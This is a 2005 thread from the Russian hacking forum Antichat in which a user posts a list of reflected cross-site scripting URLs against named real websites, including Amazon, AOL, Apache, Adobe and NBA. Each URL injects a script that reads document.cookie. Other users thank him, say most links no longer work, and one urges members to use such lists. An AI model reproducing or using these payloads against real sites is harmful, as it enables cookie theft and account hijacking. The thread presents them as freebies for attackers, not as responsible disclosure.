Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Ловите Xss (помоему чемто смахивает на раздел "Халява":) (https://forum.antichat.xyz/showthread.php?t=9637)

TANZWUT 23.09.2005 17:32

Ловите Xss (помоему чемто смахивает на раздел "Халява":)
 
Код:

about.com
<A href="http://search.about.com/fullsearch.htm?terms="><script>alert(document.cookie)</script><x%20y">http://search.about.com/fullsearch.htm?terms="><script>alert(document.cookie)</script><x%20y="
 
activestate.com
http://www.activestate.com/Products/Download/Register.plex?id=TclDevKit&required=1&FirstName=&LastName=&EmailAddress="><script>alert(document.cookie)</script><x%20y="&Company=&submit.x=50&submit.y=17
 
adobe.com
http://busca.adobe.com/search?site=A...><!--&x=30&y=8
 
altavista.com
http://www.altavista.com/image/detail?oid=0&backurl=""><script>alert(document.cookie)</script>
 
amazon.com
http://www.amazon.com/exec/obidos/handle-generic-form/002-1202097-0513651?action=next-page&target=stores/help/self-service-email-form.html&cgi-post-result=1&dispatch=confirm&validation-form-field.contact-email="%20%20style='background-image:url(javascript:alert(document.cookie))'
 
amd.com
http://www.amd.com/force_404_<script...ookie)</script>
 
annoyances.org
http://www.annoyances.org/exec/htsearch?config=annoyances&restrict=&exclude=&words="><script>alert(document.cookie)</script><x%20y="&method=and&format=builtin-long&matchesperpage=10
 
aol.com
https://my.screenname.aol.com/_cqr/login/login.psp?mcState=initialized&siteState=yyyy";}%20alert(document.cookie);%20if(1){%20a="%20}%20
 
apache.org
http://cvs.apache.org/viewcvs.cgi/<s...ookie)</script>
<A href="http://mail-archives.apache.org/eyebrowse/SearchList?listName=user@"><script>alert(document.cookie)</script><x%20y">http://mail-archives.apache.org/eyebrowse/SearchList?listName=user@"><script>alert(document.cookie)</script><x%20y="
<A href="http://nagoya.apache.org/jira/secure/BrowseProject.jspa?id="><script>alert(document.cookie)</script><x%20y">http://nagoya.apache.org/jira/secure/BrowseProject.jspa?id="><script>alert(document.cookie)</script><x%20y="
http://wiki.apache.org/james/FrontPa...ookie)</script>
http://wiki.apache.org/cocoon/UserPr...bscribed_pages=


SanyaX 23.09.2005 17:36

Охо ты на всё компании Xss нашёл =))

TANZWUT 23.09.2005 17:42

вот полный список: http://rockworld.jino-net.ru/xss.zip
упаковано винраром без жатия.

vectorg 23.09.2005 17:43

чё за х....
ничё ни хрена не работает...

TANZWUT 23.09.2005 17:44

SanyaX, да вот вроде выложыл всё что пылилось в папке "Мои документы"...
З.Ы. порядок навожу)))

TANZWUT 23.09.2005 17:53

VectorG, вот те на NBA :)
Код:

<A href="http://www.nba.com/rm/login.jsp?dest="><script>alert(document.cookie)</script><x%20y">http://www.nba.com/rm/login.jsp?dest="><script>alert(document.cookie)</script><x%20y="
просто у меня пылилось это около полугода.


vectorg 23.09.2005 17:59

80% не рабочих... (((((
а с нба вроде есть чёто...

ну всё равно спасиба!

Антошка2003 24.09.2005 00:26

Во, спасибо, 5 баллов)))

Morph 24.09.2005 05:37

Хех такую же кучу могу выложить тока работающих тока нах это?)

Антошка2003 24.09.2005 13:21

а чтоб было, ё им пылиться то? Если есть, то надо юзать.


Время: 05:00